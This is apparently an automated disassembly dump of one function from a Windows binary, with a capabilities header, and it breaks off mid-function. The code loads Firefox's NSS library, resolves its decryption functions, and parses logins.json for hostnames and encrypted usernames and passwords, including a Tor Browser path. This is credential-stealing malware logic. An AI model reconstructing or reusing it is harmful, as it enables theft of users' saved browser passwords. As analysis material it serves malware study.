Function at 0x10092d60
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x118], 0
lea eax, [ebp + 8]
mov dword [ebp - 0x144], esi
xor ebx, ebx
mov dword [ebp - 8], 0xf
push eax
lea ecx, [ebp - 0x68]
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x1c], bl
call fcn.100ae9d0
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0x54]
mov edi, eax
cmp edx, 0x10
jb 0x10092df6
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10092dec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], bl
test edi, edi
jne 0x10092eed
push edi
push 0x100ede68
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov byte [esi], bl
call fcn.100af160
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10092e58
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10092e4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094429
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], bl
cmp edx, 0x10
jb 0x10092e99
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10092e8f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094429
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], bl
cmp edx, 0x10
jb 0x10092eda
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10092ed0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094429
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x100ff8f8], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x100ff904], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x100ff918], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x100ff930], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x100ff980], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x100ff91c], eax
call esi
cmp dword [ebp + 0x34], 0x10
mov dword [0x100ff8fc], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10093029
test al, 0x10
je 0x10093029
mov eax, dword [ebp + 0x30]
lea ecx, [ebp - 0x34]
add eax, 0xc
mov dword [ebp - 0x24], ebx
push eax
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
call fcn.100b1a80
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 0x20]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0x24]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x10092fcc
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], bl
jmp 0x10092fe1
mov byte [ebp - 0x118], bl
lea ecx, [ebp - 0x34]
push dword [ebp - 0x118]
push edi
call fcn.100b0560
push str.logins.json
lea ecx, [ebp - 0x34]
call fcn.100ae850
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
push 0x100f7320
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x10093022
push eax
call fcn.100c4bbb
add esp, 4
mov byte [ebp - 0xf9], 1
mov eax, 1
jmp 0x10093035
mov eax, 1
jmp 0x1009302f
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0xf9], bl
test al, 1
je 0x1009307a
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1009306d
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093063
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094433
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
cmp byte [ebp - 0xf9], bl
je 0x10094358
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x100ff8f8]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.1008a610
mov edx, eax
mov dword [ebp - 0x3c], ebx
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], bl
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100930c2
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100af160
cmp dword [ebp - 0x3c], ebx
jbe 0x10094324
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x20], ebx
push str._hostname_:_______
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe8], ebx
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xf8]
movups xmmword [ebp - 0xf8], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xd4], ebx
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xe4]
movups xmmword [ebp - 0xe4], xmm0
call fcn.100adcc0
push 0x38
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.100bd8d0
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
add esp, 0xc
mov edi, 0xf
mov dword [ebp - 0x70], ebx
cmp eax, 0x10
mov dword [ebp - 0x6c], edi
mov byte [ebp - 0x80], bl
cmovae esi, edx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x98], bl
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0x30]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
add esp, 0x10
test al, al
je 0x100941a5
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc8]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0xa4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x100931da
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x100931e9
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x100931ef
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x104], 0
mov edi, 0xf
mov dword [ebp - 0x100], edi
mov byte [ebp - 0x114], 0
cmp edx, ecx
je 0x10093224
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.100af160
mov edi, dword [ebp - 0x100]
cmp edi, 0x10
lea ecx, [ebp - 0x114]
cmovae ecx, dword [ebp - 0x114]
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093240
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.100af160
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x1009328d
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093283
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xf8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x100932e0
lea ecx, [ebp - 0xa4]
jmp 0x100932e9
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x100932f8
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x100932fe
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1009331e
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.10092c00
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093334
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.100af160
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xe4]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x1009339a
lea ecx, [ebp - 0xa4]
jmp 0x100933a3
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x100933b2
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x100933b8
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x100933d8
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.10092c00
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100933f0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, 8
mov dword [ebp - 0x120], 0
cmp dword [ebp - 0x70], ecx
lea eax, [ebp - 0x80]
mov dword [ebp - 0x11c], 0xf
cmovb ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x6c], 0x10
push ecx
cmovae eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x130]
push eax
mov byte [ebp - 0x130], 0
call fcn.100af160
mov edx, str.oauth:__
lea ecx, [ebp - 0x130]
call fcn.100af4e0
mov edx, dword [ebp - 0x11c]
mov byte [ebp - 0xf9], al
cmp edx, 0x10
jb 0x1009349b
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009348b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094438
push edx
push ecx
call fcn.100baf94
mov al, byte [ebp - 0xf9]
add esp, 8
test al, al
jne 0x10094134
mov ecx, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
mov edx, dword [ebp + 0x38]
cmp ecx, 0x10
mov edi, dword [ebp + 0x48]
cmovae eax, edx
cmp edi, 1
jne 0x10093b61
cmp byte [eax], 0x30
jne 0x10093b61
cmp dword [ebp - 0x70], 0
je 0x10093b61
cmp dword [ebp - 0x58], 0
je 0x10093b61
cmp dword [ebp - 0x88], 0
je 0x10093b61
lea eax, [ebx + 1]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1009355e
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x10093577
mov byte [ebp - 0x118], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x118]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x80]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x130]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push eax
movq qword [ebp - 0x1fc], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x1009361c
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093612
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x11c]
cmp edx, 0x10
jb 0x10093656
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009364c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x100936ab
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100936a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10093724
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1009373d
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x134]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x130]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x224]
push eax
movq qword [ebp - 0x214], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x210]
cmp edx, 0x10
jb 0x100937e2
mov ecx, dword [ebp - 0x224]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100937d8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x11c]
cmp edx, 0x10
jb 0x1009381c
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093812
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x10093871
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093867
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x100938ea
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093903
mov byte [ebp - 0x138], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x138]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x130]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x23c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x23c]
push eax
movq qword [ebp - 0x22c], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x228]
cmp edx, 0x10
jb 0x100939ab
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100939a1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x11c]
cmp edx, 0x10
jb 0x100939e5
mov ecx, dword [ebp - 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100939db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0xf
mov byte [ebp - 0x130], 0
cmp edx, 0x10
jb 0x10093a3a
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093a30
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10093ab3
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093acc
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x13c]
push ebx
call fcn.100b0560
push 0x100eec84
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x10093b25
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093b1b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, dword [ebp + 0x4c]
mov edi, dword [ebp + 0x48]
mov edx, dword [ebp + 0x38]
mov ebx, dword [ebp - 0xc]
cmp ecx, 0x10
lea eax, [ebp + 0x38]
cmovae eax, edx
cmp edi, 1
jne 0x1009412b
cmp byte [eax], 0x31
jne 0x1009412b
cmp dword [ebp - 0x70], 0
je 0x1009412b
cmp dword [ebp - 0x58], 0
je 0x1009412b
cmp dword [ebp - 0x88], 0
je 0x1009412b
lea eax, [ebx + 3]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 0x100]
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
cmp ebx, eax
ja 0x10093c16
push dword [ebp - 0xc]
add ebx, edx
lea edi, [ebp - 0x114]
cmp dword [ebp - 0x100], 0x10
push ecx
cmovae edi, dword [ebp - 0x114]
mov dword [ebp - 0x104], ebx
lea eax, [edx + edi]
push eax
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093c31
push ebx
push ecx
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x140]
push ebx
call fcn.100b0560
push 0x100f7384
lea ecx, [ebp - 0x114]
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x114]
call fcn.100ae850
push str.TorBrowser
lea ecx, [ebp - 0x130]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x130], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x120], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x1ac]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x17c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1c4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x164], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x154], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f737c
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x240]
cmp edx, 0x10
jb 0x10093e19
mov ecx, dword [ebp - 0x254]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093e0f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1b0]
cmp edx, 0x10
jb 0x10093e53
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093e49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
cmp edx, 0x10
jb 0x10093ea8
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093e9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp edx, 0x10
jb 0x10093efd
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093ef3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x10093f52
mov ecx, dword [ebp - 0x17c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093f48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009442e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
cmp edx, 0x10
jb 0x10093fa7
